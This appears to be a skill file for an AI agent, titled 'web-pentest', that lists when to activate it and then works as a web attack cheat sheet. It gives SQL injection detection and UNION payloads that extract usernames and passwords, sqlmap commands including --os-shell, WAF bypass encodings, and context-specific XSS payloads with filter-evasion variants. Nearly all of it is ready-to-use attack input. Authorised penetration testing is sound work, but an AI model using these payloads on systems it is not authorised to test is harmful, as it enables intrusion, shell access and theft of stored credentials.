web-pentest

Web Application Penetration Testing

When to Activate

• Web application security assessment
• API security testing (REST, GraphQL, gRPC)
• Authentication and session management testing
• Business logic vulnerability hunting
• WAF bypass and filter evasion

SQL Injection

Detection

# String context: '  ''  ' OR '1'='1  ' AND '1'='2
# Numeric context: 1 OR 1=1  1 AND 1=2
# Time-based: ' OR SLEEP(5)--  '; WAITFOR DELAY '0:0:5'--
# Error-based: ' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))--

Exploitation

# UNION-based extraction
' ORDER BY 1-- (increment until error = column count)
' UNION SELECT NULL,version(),NULL--
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
' UNION SELECT NULL,CONCAT(username,':',password),NULL FROM users--

# Automated
sqlmap -u "http://target/page?id=1" --batch --dbs --level 3 --risk 2
sqlmap -r request.txt --batch --dbs --tamper=between,randomcase
sqlmap -u "URL" --os-shell --batch

WAF Bypass

%27%20OR%20%271%27%3D%271                    # URL encoding
' uNiOn SeLeCt NULL,version(),NULL--         # Case alternation
UN/**/ION SE/**/LECT NULL,version(),NULL--   # Comment insertion
/*!50000UNION*/ /*!50000SELECT*/             # MySQL version comments

XSS (Cross-Site Scripting)

Context-Specific Payloads

<!-- HTML body -->
<img src=x onerror=alert(document.domain)>
<svg/onload=alert(document.domain)>
<details open ontoggle=alert(1)>

<!-- Attribute context -->
" onfocus="alert(1)" autofocus="
"><script>alert(1)</script>

<!-- JavaScript context -->
";alert(1)//
'-alert(1)-'
${alert(document.domain)}

<!-- URL/href -->
javascript:alert(document.domain)

Filter Bypass

<ScRiPt>alert(1)</sCrIpT>                    # Case variation
<img src=x onerror=alert(1)>                  # Alt event handlers
&#x3c;script&#x3e;alert(1)&#x3c;/script&#x3e; # HTML entities
eval('al'+'ert(1)')                           # String concat
window['alert'](1)                            # Bracket notation
alert`1`                                      # Template literal